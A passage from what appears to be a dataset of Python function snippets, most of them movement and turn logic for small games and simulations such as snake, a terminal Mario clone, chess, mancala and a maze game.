Laser(self)\\n gun.shoot('s')\\n self.agent.actionCompleted()\",\n \"def walk(self):\\n # === Choose direction ===\\n # Increase probability of movement relative to map dimensions\\n v_move = self.width / self.height\\n h_move = self.height / self.width\\n north, south, east, west = v_move, v_move, h_move, h_move\\n\\n # Weight the random walk against the edges\\n if self.drunkard_x < self.width * 0.25: # far left side of map\\n east += self.weighted_toward_center\\n elif self.drunkard_x > self.width * 0.75: # far right side of map\\n west += self.weighted_toward_center\\n if self.drunkard_y < self.height * 0.25: # top of the map\\n south += self.weighted_toward_center\\n elif self.drunkard_y > self.height * 0.75: # bottom of the map\\n north += self.weighted_toward_center\\n\\n # Weight in favor of the previous direction\\n if self._prev_direction == \\\"north\\\":\\n north += self.weighted_toward_prev_direction\\n if self._prev_direction == \\\"south\\\":\\n south += self.weighted_toward_prev_direction\\n if self._prev_direction == \\\"east\\\":\\n east += self.weighted_toward_prev_direction\\n if self._prev_direction == \\\"west\\\":\\n west += self.weighted_toward_prev_direction\\n\\n weights = [south, north, east, west]\\n moves = {\\\"south\\\": (0, 1), \\\"north\\\": (0, -1), \\\"east\\\": (1, 0), \\\"west\\\": (-1, 0)}\\n\\n direction = choices(list(moves.keys()), weights)[0]\\n dx, dy = moves[direction]\\n\\n # === Walk ===\\n # check collision at edges\\n if (1 < self.drunkard_x + dx < self.width - 1) and (1 < self.drunkard_y + dy < self.height - 1):\\n self.drunkard_x += dx\\n self.drunkard_y += dy\\n if self.tiles[self.drunkard_x][self.drunkard_y]:\\n self.tiles[self.drunkard_x][self.drunkard_y].carve()\\n self._tiles_filled += 1\\n self._prev_direction = direction\",\n \"def move(self, direction: str) -> int:\\n x, y = self.snake[-1][0] + self.dirs[direction][0], self.snake[-1][1] + self.dirs[direction][1]\\n # print(x,y)\\n # went out bound\\n if x >= self.n or y >= self.m or x < 0 or y < 0:\\n return -1\\n tail = self.snake.popleft()\\n self.snake_set.discard(tail)\\n if (x, y) in self.snake_set:\\n return -1\\n\\n if len(self.food) > 0 and (x, y) == (self.food[0][0], self.food[0][1]):\\n self.food.popleft()\\n self.snake.appendleft(tail)\\n self.snake_set.add(tail)\\n self.snake.append((x, y))\\n self.snake_set.add((x, y))\\n\\n return len(self.snake) - 1\",\n \"def move_lift_ground():\\n return _move_lift(0)\",\n \"def go_up(self):\\n\\t\\tself.x,self.y = Mario._get_coordinates(Board.prev_i,Board.prev_j,Board.prev_k)\\n\\t\\tMario._pass(self.x,self.y)\\n\\t\\ttemp = self.x\\n\\t\\tflag = 0\\n\\t\\twhile(temp>=self.x-8):\\n\\t\\t\\tif(Board.board[temp][self.y] in obstacles):\\n\\t\\t\\t\\tflag = 1\\n\\t\\t\\t\\ttemp_x = temp+1\\n\\t\\t\\t\\tbreak\\n\\t\\t\\ttemp = temp-1\\n\\n\\t\\tif(not flag):\\n\\t\\t\\ttemp_x = self.x-8\\n\\n\\t\\tif Board.board[temp_x-1][self.y]=='B':\\n\\t\\t\\tnew = self.y\\n\\t\\t\\tfor i in range(new-4,new+5):\\n\\t\\t\\t\\tif Board.board[temp_x-1][i]=='B':\\n\\t\\t\\t\\t\\tBoard.board[temp_x-1][i]='T'\\n\\t\\t\\tMario.bonus+=50\\n\\t\\t\\tif self.y==229 or self.y ==230 or self.y==231:\\n\\t\\t\\t\\tBoard.board[23][230]='P'\\n\\n\\n\\t\\tBoard.board[temp_x][self.y] = 'M'\\t\\t\\n\\t\\tos.system('clear')\\n\\t\\tinit_board(Board.prev_i,Board.prev_j,Board.prev_k)\",\n \"def test_move_onto_terrain(self):\\n # move onto Water (1 extra)\\n b1 = board.Board(self.small_ter)\\n start = np.array((0, 3), dtype='int')\\n k1 = knight.Knight(b1, start)\\n # set move choice\\n move_choice = 2\\n # determine move validity and cost\\n (cost, isvalid) = k1.validate_move(move_choice)\\n self.assertTrue(isvalid)\\n self.assertEqual(cost, 2)\\n\\n # move onto Lava (4 extra)\\n start = np.array((3, 4), dtype='int')\\n k1 = knight.Knight(b1, start)\\n # set move choice\\n move_choice = 0\\n # determine move validity and cost\\n (cost, isvalid) = k1.validate_move(move_choice)\\n self.assertTrue(isvalid)\\n self.assertEqual(cost, 5)\\n\\n # move onto Barrier (illegal)\\n start = np.array((1, 4), dtype='int')\\n k1 = knight.Knight(b1, start)\\n # set move choice\\n move_choice = 1\\n # determine move validity and cost\\n (cost, isvalid) = k1.validate_move(move_choice)\\n self.assertFalse(isvalid)\\n\\n # move onto Rock (illegal)\\n start = np.array((1, 0), dtype='int')\\n k1 = knight.Knight(b1, start)\\n # set move choice\\n move_choice = 7\\n # determine move validity and cost\\n (cost, isvalid) = k1.validate_move(move_choice)\\n self.assertFalse(isvalid)\",\n \"def make_move(self, move):\\n self.board[int(move) - 1] = self.nplayer\",\n \"def move(self):\\n self.pos += self.direc\\n self.nearest_node = self.pixel_to_node()\",\n \"def movev2(self, abz_increase, abz_decrease, bbz_increase, bbz_decrease, north, south, west):\\n if self._z >= 75:\\n a = random.randint(1, 100)\\n# print(str(a))\\n if a <= abz_increase:\\n self._z += 1\\n if a > abz_increase and a <= (abz_increase + abz_decrease):\\n self._z -= 1\\n if a > (abz_increase + abz_decrease):\\n self._z = self._z\\n else:\\n c = random.randint(1, 100)\\n# print(str(c))\\n if c <= bbz_increase:\\n self._z += 1\\n if c > bbz_increase and c <= (bbz_increase + bbz_decrease):\\n self._z -= 1\\n if c > (bbz_increase + bbz_decrease):\\n self._z = self._z\\n self._z -= 1\\n \\n b = random.randint(1, 100)\\n# print(str(b))\\n if b <= north:\\n self._y += 1\\n if b > north and b <= (north + south):\\n self._y -= 1\\n if b > (north + south) and b <= (north + south + west):\\n self._x -= 1\\n if b > (north + south + west):\\n self._x += 1\",\n \"def move(self):\\n pass\",\n \"def _change_fleet_direction(self): \\n for alien in self.aliens.sprites():\\n alien.rect.y += self.settings.fleet_drop_speed\\n self.settings.fleet_direction *= -1\",\n \"def test_move_over_terrain(self):\\n # move over Water (0 extra)\\n b1 = board.Board(self.small_ter)\\n start = np.array((0, 1), dtype='int')\\n k1 = knight.Knight(b1, start)\\n # set move choice\\n move_choice = 1\\n # determine move validity and cost\\n (cost, isvalid) = k1.validate_move(move_choice)\\n self.assertTrue(isvalid)\\n self.assertEqual(cost, 1)\\n #\\n # move over Lava (0 extra)\\n start = np.array((5, 4), dtype='int')\\n k1 = knight.Knight(b1, start)\\n # set move choice\\n move_choice = 6\\n # determine move validity and cost\\n (cost, isvalid) = k1.validate_move(move_choice)\\n self.assertTrue(isvalid)\\n self.assertEqual(cost, 1)\\n #\\n # move over Barrier (illegal)\\n start = np.array((2, 3), dtype='int')\\n k1 = knight.Knight(b1, start)\\n # set move choice\\n move_choice = 0\\n # determine move validity and cost\\n (cost, isvalid) = k1.validate_move(move_choice)\\n self.assertFalse(isvalid)\\n #\\n # move over Rock (0 extra)\\n start = np.array((2, 3), dtype='int')\\n k1 = knight.Knight(b1, start)\\n # set move choice\\n move_choice = 2\\n # determine move validity and cost\\n (cost, isvalid) = k1.validate_move(move_choice)\\n self.assertTrue(isvalid)\\n self.assertEqual(cost, 1)\",\n \"def make_move(self, move):\\n if int(move) < 0 or int(move) > 48 or self.board[int(move) // 7][int(move) % 7] != \\\"\\\" or int(move) % 2 == 0:\\n raise ValueError(\\\"{} is not a valid move for {}\\\".format(move, self.board))\\n DotsAndBoxesState.score1 += self.check_score(move)\\n self.board[int(move) // 7][int(move) % 7] = colors[self.turn] + self.turn + \\\"\\\\u001b[0m\\\"\\n self.turn = get_opponent(self.turn) #change into another player's trun\",\n \"def move(self):\\n assert self.is_alive, \\\"Sprite is dead, and should not be able to move\\\"\\n if self.health > 3:\\n self.y += random.randint(-1, 1) # change by -1, 0, 1\\n self.x += random.randint(-1, 1) # change by -1, 0, 1\\n print(self.name, \\\"moves to position\\\", str(self.x), \\\",\\\", str(self.y))\",\n \"def roll_dices(self):\\n dice1 = random.randint(1, 6)\\n dice2 = random.randint(1, 6)\\n\\n self.client.send_player_end_dices()\\n self.game.player_rolled_dices([dice1, dice2])\\n asyncio.ensure_future(self.move(dice1 + dice2))\",\n \"def moveTower(self, height, fromPole, toPole, withPole, moves, peg_num_disks):\\n def moveDisk(fromPole, toPole):\\n peg_num_disks[fromPole] = peg_num_disks[fromPole] - 1\\n moves.append([ fromPole, peg_num_disks[fromPole] ])\\n moves.append([ toPole, peg_num_disks[toPole] ])\\n peg_num_disks[toPole] = peg_num_disks[toPole] + 1\\n return moves, peg_num_disks\\n \\n if height >= 1:\\n moves, peg_num_disks = self.moveTower(height-1, fromPole, withPole, \\n toPole, moves, peg_num_disks)\\n moves, peg_num_disks = moveDisk(fromPole, toPole)\\n moves, peg_num_disks = self.moveTower(height-1, withPole, toPole, \\n fromPole, moves, peg_num_disks)\\n return moves, peg_num_disks\",\n \"def _move_forward(self):\\n\\t\\tself.x,self.y = Mario._get_coordinates(Board.prev_i,Board.prev_j,Board.prev_k)\\n\\t\\tif(self.y<=798):\\n\\t\\t\\tself.y = self.y+1\\n\\t\\t\\tif Board.board[self.x][self.y]=='0':\\n\\t\\t\\t\\tMario.score += 1\\n\\t\\t\\t\\tMario._pass(self.x,self.y-1)\\n\\t\\t\\t\\tBoard.board[self.x][self.y]='M'\\n\\n\\t\\t\\telif Board.board[self.x][self.y]=='P':\\n\\t\\t\\t\\tMario.lives+=1\\n\\t\\t\\t\\tMario._pass(self.x,self.y-1)\\n\\t\\t\\t\\tBoard.board[self.x][self.y]='M'\\n\\t\\t\\t\\tcall([\\\"aplay\\\",\\\"-q\\\",\\\"smb_1-up.wav\\\"])\\n\\n\\t\\t\\telif Board.board[self.x][self.y]=='A':\\n\\t\\t\\t\\tMario._pass(self.x,self.y-1)\\n\\t\\t\\t\\tBoard.board[self.x][self.y]='M'\\n\\t\\t\\t\\tMario.attack = 1\\n\\t\\t\\t\\tcall([\\\"aplay\\\",\\\"-q\\\",\\\"smb_powerup.wav\\\"])\\n\\n\\t\\t\\telif Board.board[self.x][self.y]=='@':\\n\\t\\t\\t\\tMario._pass(self.x,self.y-1)\\n\\t\\t\\t\\tMario.lives-=1\\n\\t\\t\\t\\tcall([\\\"aplay\\\",\\\"-q\\\",\\\"smb_mariodie.wav\\\"])\\n\\t\\t\\t\\tif Mario.lives<=0:\\n\\t\\t\\t\\t\\tcall([\\\"aplay\\\",\\\"-q\\\",\\\"smb_gameover.wav\\\"])\\n\\t\\t\\t\\t\\treturn \\\"exit\\\"\\n\\t\\t\\t\\tos.system('clear')\\n\\t\\t\\t\\tprint(\\\"\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\t\\\\t\\\\t\\\\t\\\\t\\\\tNumber of Mario left\\\",Mario.lives)\\n\\t\\t\\t\\tMario.respawn(self.x,self.y)\\n\\t\\t\\t\\ttime.sleep(2)\\n\\t\\t\\t\\tinit_board(Board.prev_i,Board.prev_j,Board.prev_k)\\n\\n\\t\\t\\telif(Board.board[self.x][self.y]=='/'):\\n\\t\\t\\t\\tMario._pass(self.x,self.y-1)\\n\\t\\t\\t\\tBoard.board[self.x-1][self.y]='M'\\n\\n\\t\\t\\telif Board.board[self.x][self.y]=='I':\\n\\t\\t\\t\\tMario._pass(self.x,self.y-1)\\n\\t\\t\\t\\tcall([\\\"aplay\\\",\\\"-q\\\",\\\"smb_stage_clear.wav\\\"])\\n\\t\\t\\t\\tBoard.bonus_round()\\n\\n\\t\\t\\telif Board.board[self.x][self.y]=='K':\\n\\t\\t\\t\\tMario._pass(self.x,self.y-1)\\n\\t\\t\\t\\tcall([\\\"aplay\\\",\\\"-q\\\",\\\"smb_stage_clear.wav\\\"])\\n\\t\\t\\t\\tenemy.boss_round()\\n\\n\\t\\t\\telif(Board.board[self.x][self.y] in obstacles):\\n\\t\\t\\t\\tMario._pass(self.x,self.y-1)\\n\\t\\t\\t\\tBoard.board[self.x][self.y-1]='M'\\n\\n\\t\\t\\telif((Board.board[self.x+1][self.y-1]=='/' or Board.board[self.x+1][self.y-1]=='T') and Board.board[self.x+1][self.y]==' '):\\n\\t\\t\\t\\tMario._pass(self.x,self.y-1)\\n\\t\\t\\t\\tBoard.board[self.x][self.y+1]='M'\\n\\t\\t\\t\\tMario.go_down(self)\\n\\t\\t\\telse:\\n\\t\\t\\t\\tMario._pass(self.x,self.y-1)\\n\\t\\t\\t\\tBoard.board[self.x][self.y]='M'\\n\\n\\t\\tif( self.y-1 >= ((Board.prev_j+Board.prev_k)/2) ):\\n\\t\\t\\tos.system('clear')\\n\\t\\t\\tBoard.prev_j += 1 \\n\\t\\t\\tBoard.prev_k += 1\\n\\t\\t\\tinit_board(Board.prev_i,Board.prev_j,Board.prev_k)\\n\\t\\telse:\\n\\t\\t\\tos.system('clear')\\n\\t\\t\\tinit_board(Board.prev_i,Board.prev_j,Board.prev_k)\",\n \"def sow_step(self, player, move):\\n init_pit = move\\n stones = self.p_pits(player.index)[init_pit]\\n clen = 2 * self.M + 1\\n\\n if player.index == 1:\\n cstate = self.state[:-1]\\n else:\\n cstate = self.p2_pits() + [self.p2_store()] + self.p1_pits()\\n\\n per_add = stones // clen\\n dis_pit = stones % clen\\n\\n cstate[init_pit] = 0\\n last_pit = (init_pit + dis_pit) % clen\\n new_state = [i + per_add for i in cstate]\\n if last_pit > init_pit:\\n new_state = [\\n v + 1 if init_pit < i <= last_pit else v\\n for i, v in enumerate(new_state)\\n ]\\n elif last_pit < init_pit:\\n new_state = [\\n v + 1 if (init_pit < i or i <= last_pit) else v\\n for i, v in enumerate(new_state)\\n ]\\n else:\\n pass\\n\\n if player.index == 1:\\n return new_state + [self.p2_store()], last_pit\\n else:\\n return new_state[-self.M:] + [self.p1_store()\\n ] + new_state[:-self.M], last_pit\",\n \"def move(self, row, col, player):\\n offset = player * 2 - 3 # 1 or -1\\n self.row[row] += offset\\n self.col[col] += offset\\n if row == col:\\n self.diag += offset\\n if row + col == self.n - 1:\\n self.anti_diag += offset\\n if self.n in [self.row[row], self.col[col], self.diag, self.anti_diag]:\\n return 2\\n if -self.n in [self.row[row], self.col[col], self.diag, self.anti_diag]:\\n return 1\\n return 0\",\n \"def domove(self, depart, arrivee, promote):\\n\\n # Debugging tests\\n # if(self.cases[depart].isEmpty()):\\n # print('domove() ERROR : asked for an empty square move : ',depart,arrivee,promote)\\n # return \\n # if(int(depart)<0 or int(depart)>63):\\n # print('domove() ERROR : incorrect FROM square number : ',depart)\\n # return \\n # if(int(arrivee)<0 or int(arrivee)>63):\\n # print('domove() ERROR : incorrect TO square number : ',arrivee)\\n # return\\n # if(not(promote=='' or promote=='q' or promote=='r' or promote=='n' or promote=='b')):\\n # print('domove() ERROR : incorrect promote : ',promote)\\n # return\\n\\n # Informations to save in the history moves\\n pieceDeplacee = self.cases[depart] # moved piece\\n piecePrise = self.cases[arrivee] # taken piece, can be null : Piece()\\n isEp = False # will be used to undo a ep move\\n histEp = self.ep # saving the actual ep square (-1 or square number TO)\\n hist_roque_56 = self.white_can_castle_56\\n hist_roque_63 = self.white_can_castle_63\\n hist_roque_0 = self.black_can_castle_0\\n hist_roque_7 = self.black_can_castle_7\\n flagViderEp = True # flag to erase ep or not : if the pawn moved is not taken directly, it can't be taken later\\n\\n # Moving piece\\n self.cases[arrivee] = self.cases[depart]\\n self.cases[depart] = Piece()\\n\\n self.ply += 1\\n\\n # a PAWN has been moved -------------------------------------\\n if (pieceDeplacee.nom == 'PION'):\\n\\n # White PAWN\\n if (pieceDeplacee.couleur == 'blanc'):\\n\\n # If the move is \\\"en passant\\\"\\n if (self.ep == arrivee):\\n piecePrise = self.cases[arrivee + 8] # take black pawn\\n self.cases[arrivee + 8] = Piece()\\n isEp = True\\n\\n # The white pawn moves 2 squares from starting square\\n # then blacks can take \\\"en passant\\\" next move\\n elif (self.ROW(depart) == 6 and self.ROW(arrivee) == 4):\\n self.ep = arrivee + 8\\n flagViderEp = False\\n\\n # Black PAWN\\n else:\\n\\n if (self.ep == arrivee):\\n piecePrise = self.cases[arrivee - 8]\\n self.cases[arrivee - 8] = Piece()\\n isEp = True\\n\\n elif (self.ROW(depart) == 1 and self.ROW(arrivee) == 3):\\n self.ep = arrivee - 8\\n flagViderEp = False\\n\\n # a ROOK has been moved--------------------------------------\\n # update castle rights\\n\\n elif (pieceDeplacee.nom == 'TOUR'):\\n\\n # White ROOK\\n if (pieceDeplacee.couleur == 'blanc'):\\n if (depart == 56):\\n self.white_can_castle_56 = False\\n elif (depart == 63):\\n self.white_can_castle_63 = False\\n\\n # Black ROOK\\n else:\\n if (depart == 0):\\n self.black_can_castle_0 = False\\n elif (depart == 7):\\n self.black_can_castle_7 = False\\n\\n # a KING has been moved-----------------------------------------\\n\\n elif (pieceDeplacee.nom == 'ROI'):\\n\\n # White KING\\n if (pieceDeplacee.couleur == 'blanc'):\\n\\n # moving from starting square\\n if (depart == 60):\\n # update castle rights\\n self.white_can_castle_56 = False\\n self.white_can_castle_63 = False\\n\\n # If castling, move the rook\\n if (arrivee == 58):\\n self.cases[56] = Piece()\\n self.cases[59] = Piece('TOUR', 'blanc')\\n\\n elif (arrivee == 62):\\n self.cases[63] = Piece()\\n self.cases[61] = Piece('TOUR', 'blanc')\\n\\n # Black KING\\n else:\\n\\n if (depart == 4):\\n self.black_can_castle_0 = False\\n self.black_can_castle_7 = False\\n\\n if (arrivee == 6):\\n self.cases[7] = Piece()\\n self.cases[5] = Piece('TOUR', 'noir')\\n\\n elif (arrivee == 2):\\n self.cases[0] = Piece()\\n self.cases[3] = Piece('TOUR', 'noir')\\n\\n # End pieces cases-----------------------------------------------\\n\\n # Any move cancels the ep move\\n if (flagViderEp == True):\\n self.ep = -1\\n\\n # Promote : the pawn is changed to requested piece\\n if (promote != ''):\\n if (promote == 'q'):\\n self.cases[arrivee] = Piece('DAME', self.side2move)\\n elif (promote == 'r'):\\n self.cases[arrivee] = Piece('TOUR', self.side2move)\\n elif (promote == 'n'):\\n self.cases[arrivee] = Piece('CAVALIER', self.side2move)\\n elif (promote == 'b'):\\n self.cases[arrivee] = Piece('FOU', self.side2move)\\n\\n # Change side to move\\n self.changeTrait()\\n\\n # Save move to the history list\\n self.history.append((depart, \\\\\\n arrivee, \\\\\\n pieceDeplacee, \\\\\\n piecePrise, \\\\\\n isEp, \\\\\\n histEp, \\\\\\n promote, \\\\\\n hist_roque_56, \\\\\\n hist_roque_63, \\\\\\n hist_roque_0, \\\\\\n hist_roque_7))\\n\\n # If the move lets king in check, undo it and return false\\n if (self.in_check(self.oppColor(self.side2move))):\\n self.undomove()\\n return False\\n\\n return True\",\n \"def move(self, direction: str) -> int:\\n (i, j), _ = self.position.popitem(last=True) # current position\\n self.position[(i, j)] = 0 # add back \\n if direction == \\\"U\\\": i -= 1\\n elif direction == \\\"L\\\": j -= 1\\n elif direction == \\\"R\\\": j += 1\\n else: i += 1\\n if self.food and self.food[0] == [i, j]: self.food.popleft()\\n else: self.position.popitem(last=False)\\n if not (0 <= i < self.height and 0 <= j < self.width) or (i, j) in self.position: return -1 # game over \\n self.position[(i, j)] = 0\\n return len(self.position)-1\",\n \"def force_move():\\n if ZERO_BASE_PLYR_POS in range(0, 10):\\n # we cant go up, so go down\\n move_player(\\\"south\\\")\\n else:\\n move_player(\\\"north\\\")\",\n \"def make_move(self, direction):\\r\\n\\t\\tif direction == 0:\\r\\n\\t\\t\\tself.board[self.x][self.y], self.board[self.x-1][self.y] = self.board[self.x-1][self.y], self.board[self.x][self.y]\\r\\n\\t\\t\\tself.x -= 1\\r\\n\\r\\n\\t\\telif direction == 1:\\r\\n\\t\\t\\tself.board[self.x][self.y], self.board[self.x][self.y+1] = self.board[self.x][self.y+1], self.board[self.x][self.y]\\r\\n\\t\\t\\tself.y += 1\\r\\n\\r\\n\\t\\telif direction == 2:\\r\\n\\t\\t\\tself.board[self.x][self.y], self.board[self.x+1][self.y] = self.board[self.x+1][self.y], self.board[self.x][self.y]\\r\\n\\t\\t\\tself.x += 1\\r\\n\\r\\n\\t\\telif direction == 3:\\r\\n\\t\\t\\tself.board[self.x][self.y], self.board[self.x][self.y-1] = self.board[self.x][self.y-1], self.board[self.x][self.y]\\r\\n\\t\\t\\tself.y -= 1\",\n \"def _change_fleet_direction(self):\\n\\t\\tfor alien in self.aliens.sprites():\\n\\t\\t\\talien.rect.y += self.settings.fleet_drop_speed\\n\\t\\tself.settings.fleet_direction*=-1\",\n \"def move(self, dx, dy):\\r\\n self.corner.x += dx\\r\\n self.corner.y += dy\",\n \"def move(self, dx, dy):\\n self.corner.x += dx\\n self.corner.y += dy\",\n \"def move(self, dx, dy):\\n self.corner.x += dx\\n self.corner.y += dy\",\n \"def move(self, dx, dy):\\n self.corner.x += dx\\n self.corner.y += dy\",\n \"def _change_fleet_direction(self):\\n for alien in self.aliens.sprites():\\n alien.rect.y += self.settings.fleet_drop_speed\\n self.settings.fleet_direction *= -1\",\n \"def _change_fleet_direction(self):\\n for alien in self.aliens.sprites():\\n alien.rect.y += self.settings.fleet_drop_speed\\n self.settings.fleet_direction *= -1\",\n \"def move_repeatedly():\\n check = check50.run(run_command)\\n check.stdin(\\\"WEST\\\").stdout(room_2_description)\\n check.stdin(\\\"EAST\\\").stdout(room_1_name)\\n check.stdin(\\\"WEST\\\").stdout(room_2_name)\",\n \"def move(t, length):\\n pu(t)\\n\\t\\n fd(t, length)\\n pd(t)\",\n \"def WallsPosition():\\n\\tcnt=40\\n\\twhile cnt>0:\\n\\t\\ta=random.randint(0,15)\\n\\t\\tb=random.randint(0,35)\\n\\t\\tif(board[a][b]=='.'):\\n\\t\\t\\tboard[a][b]='X'\\n\\t\\t\\tcnt=cnt-1\",\n \"def windstow(windOutOf) :\\n print windstow.__doc__\\n\\n weather(\\\"wind\\\")\\n [ovroAnts,bimaAnts,szaAnts] = antennasByType()\\n if windOutOf < 180.0 : windDirection=windOutOf+180.0\\n else : windDirection=windOutOf-180.0\\n stow(ovroAnts)\\n qmove(windDirection, 10.0, bimaAnts)\",\n \"def move(self, row, col, player):\",\n \"def turn_right(self):\\n pass\",\n \"def makeMove(self, move, player):\",\n \"def move_south(self):\\r\\n self.move(dx=0, dy=1)\",\n \"def move_up():\\n return __maze.move_up()\",\n \"def next_turn(self): \\n if (self.moves):\\n self.board = self.select_move() \\n self.moves = []\\n self.roll = self.roll_dice()\\n self.player = not self.player\\n self.generate_valid_moves()\",\n \"def make_attack(self):\\n if self.rect.y < 750:\\n # if self.left:\\n # self.rect.x -= 2\\n # else:\\n # self.rect.x += 2\\n # if abs(self.rect.x - self.originx) == 150:\\n # self.left = True\\n # elif abs(self.rect.x - self.originx) == 0:\\n # self.left = False\\n self.rect.y += 5\\n else: self.rect.y = self.originy\",\n \"def _change_fleet_direction(self):\\n\\t\\tfor auto in self.autos.sprites():\\n\\t\\t\\tauto.rect.y -= self.settings.fleet_rise_speed\\n\\t\\tself.settings.fleet_direction *= -1\",\n \"def make_move(self, row, column):\\n\\t\\tif self.board[int(row)][int(column)] == '-':\\n\\t\\t\\tself.board[int(row)][int(column)] = self.marker\\n\\t\\telse:\\n\\t\\t\\tprint(\\\"That spot is occupied, you messed up, you lose your turn for doing bad things\\\")\",\n \"def move(self):\\n x = y = z = 0.0\\n for cell in self.cells:\\n x += (cell.x)#*n\\n y += (cell.y)#*n\\n z += (cell.z)#*n\\n np = float(len(self.cells))\\n med = numpy.array([x/np,y/np,z/np])\\n \\n dists = []\\n for cell in self.cells:\\n d = (cell.x-self.x)**2+(cell.y-self.y)**2+(cell.z-self.z)**2\\n d = numpy.sqrt(d)\\n dists.append(d)\\n #md = (cell.x-med[0])**2+(cell.y-med[1])**2+(cell.z-med[2])**2\\n #dists[-1] = (dists[-1]+md)/2\\n cell = self.cells[numpy.argmin(dists)]\\n cc = numpy.array([cell.x, cell.y, cell.z])\\n \\n t = self.t\\n if abs(self.dnp) * ( self.np-self.np_req) > 0:\\n t = self.tr\\n self.dcenter = (1-t)*(med-self.center + self.u*(cc-med))\\n self.x,self.y,self.z = self.center = self.center + self.dcenter\",\n \"def move_lift_up():\\n return _move_lift(1)\",\n \"def move_east(self):\\r\\n self.move(dx=1, dy=0)\",\n \"def move_south(self):\\n self.vertical = (self.vertical * 2)[3:7]\\n self.horizontal[1] = self.vertical[0]\\n self.horizontal[3] = self.vertical[2]\",\n \"def moveRight(self,board_object):\\n\\t\\tif checkClash(board_object,self,self.x,self.y+1) == 0:\\n\\t\\t\\toverlayMatrix(board_object,self,self.x,self.y+1)\\n\\t\\t\\tself.setPos(self.x,self.y+1)\\n\\t\\t\\tif self.y > board_object.start + 25: \\n\\t\\t\\t\\tboard_object.start += 1\\n\\t\\telse:\\n\\t\\t\\treturn 1\",\n \"def move(self):\\n if VERBOSE:\\n print('-- move', self.move_number, '--')\\n self.display_cups()\\n\\n picked_up = self.pick_up_cups(3)\\n self.update_destination_cup()\\n\\n if VERBOSE:\\n print('pick up: ', end='')\\n for pick in picked_up:\\n print(pick, end=' ')\\n print()\\n print('destination:', self.destination)\\n print()\\n\\n self.insert_cups(inserts=picked_up, insert_after=self.destination)\\n self.select_new_current_cup()\\n\\n self.move_number += 1\",\n \"def movement(self):\",\n \"def move(self, direction=0):\\n moves = [\\n [3, 1],\\n [2, 2],\\n [1, 3],\\n [0, 0]\\n ]\\n\\n self._rotate(moves[direction][0])\\n\\n for row in range(4):\\n r = [i for i in self.map[row] if i != 0]\\n\\n r_result = []\\n while(len(r)):\\n num = r.pop(0)\\n if len(r) and num == r[0]:\\n num += r.pop(0)\\n # TODO: Do a 2048 check here to see if the player won?\\n # this might not be the best place because we could use\\n # this method to run tests to see if the player has any valid moves\\n r_result.append(num)\\n \\n self.map[row] = r_result + [0]*(4-len(r_result))\\n\\n self._add_random_piece()\\n\\n self._rotate(moves[direction][1])\\n self.print_map()\",\n \"def sowing(self, player, move):\\n self.state, last_pit = self.sow_step(player, move)\\n if last_pit == self.M:\\n \\\"\\\"\\\"If the last stone is sowed into the store, then the player gets to take another turn.\\\"\\\"\\\"\\n return True\\n if last_pit < self.M and self.p_pits(player.index)[last_pit] == 1:\\n \\\"\\\"\\\"If the last stone is sowed into one of the player’s own empty pits, \\n then the player captures any stones in their opponents pit directly across the board.\\\"\\\"\\\"\\n opp_last_pit = self.M - 1 - last_pit\\n # update the store\\n self.update_store(\\n self.p_store(player.index) + 1 +\\n self.p_pits(player.opp_index)[opp_last_pit], player.index)\\n # empty two puts\\n self.update_pit(0, last_pit, player.index)\\n self.update_pit(0, opp_last_pit, player.opp_index)\\n return False\",\n \"def move(self):\\n # neighbor offsets\\n offset = [(-1, 1),(0, 1),(1, 1),(-1, 0),(1, 0),(-1, -1),(0, -1),(1, -1)]\\n for i in range(len(offset)):\\n x = self.x + offset[i][0] # neighboring coordinates\\n y = self.y + offset[i][1]\\n if self.island.animal(x, y) == 0: # neighboring spot is open\\n self.island.remove(self) # remove from current spot\\n self.x = x # new coordinates\\n self.y = y\\n self.island.register(self) # register new coordinates\\n break # finished with move\",\n \"def move(self):\\n # neighbor offsets\\n offset = [(-1, 1),(0, 1),(1, 1),(-1, 0),(1, 0),(-1, -1),(0, -1),(1, -1)]\\n for i in range(len(offset)):\\n x = self.x + offset[i][0] # neighboring coordinates\\n y = self.y + offset[i][1]\\n if self.island.animal(x, y) == 0: # neighboring spot is open\\n self.island.remove(self) # remove from current spot\\n self.x = x # new coordinates\\n self.y = y\\n self.island.register(self) # register new coordinates\\n break # finished with move\",\n \"def turn_right(self):\\n self.facing_direction += self.config\\n if self.facing_direction > 7:\\n self.facing_direction -= 8\\n self.x, self.y = self.compute_positions()\",\n \"def _move_down(self):\\n new_pos = self._pos + _Vec3(0, -1, 0)\\n block_ = self._get_block(new_pos)\\n if block_ != _WATER:\\n self._add_to_inv(block_)\\n self._move(new_pos)\",\n \"def move_draught(event):\\n global red_turn\\n if(red_turn == False):\\n return\\n draught = board.find_withtag(CURRENT)[0]\\n board.coords(draught,event.x-click_offset[0],event.y-click_offset[1],event.x-click_offset[0]+board_divisions,event.y-click_offset[1]+board_divisions)\",\n \"def move(self, direction):\\n\\n # Move to the right\\n if direction == 'right':\\n if self.square_x < (NUMBER_OF_SPRITES -1):\\n # Checking if the new direction is not a wall\\n if self.maze.structure[self.square_y][self.square_x + 1] != 'w':\\n # Move by one square right on X axis\\n self.square_x += 1\\n # Calculation of the \\\"Real\\\" positioning in pixels\\n self.x_pos = self.square_x * SPRITES_SIZE\\n\\n # Move to the left\\n if direction == 'left':\\n if self.square_x > 0:\\n # Checking if the new direction is not a wall\\n if self.maze.structure[self.square_y][self.square_x - 1] != 'w':\\n # Move by one square left on X axis\\n self.square_x -= 1\\n # Calculation of the \\\"Real\\\" positioning in pixels\\n self.x_pos = self.square_x * SPRITES_SIZE\\n\\n # Move up\\n if direction == 'up':\\n if self.square_y > 0:\\n # Checking if the new direction is not a wall\\n if self.maze.structure[self.square_y-1][self.square_x] != 'w':\\n # Move by one square up on Y axis\\n self.square_y -= 1\\n # Calculation of the \\\"Real\\\" positioning in pixels\\n self.y_pos = self.square_y * SPRITES_SIZE\\n\\n # Move down\\n if direction == 'down':\\n if self.square_y < (NUMBER_OF_SPRITES -1):\\n # Checking if the new direction is not a wall\\n if self.maze.structure[self.square_y + 1][self.square_x] != 'w':\\n # Move by one square down on Y axis\\n self.square_y += 1\\n # Calculation of the \\\"Real\\\" positioning in pixels\\n self.y_pos = self.square_y * SPRITES_SIZE\",\n \"def left_twist(self):\\n self.turn_by_deg(-179)\\n #time.sleep(.1)\\n self.stop()\\n self.turn_by_deg(-179)\\n #time.sleep(.1)\\n self.stop()\",\n \"def move_in_direction(self, direction):\\n if direction == 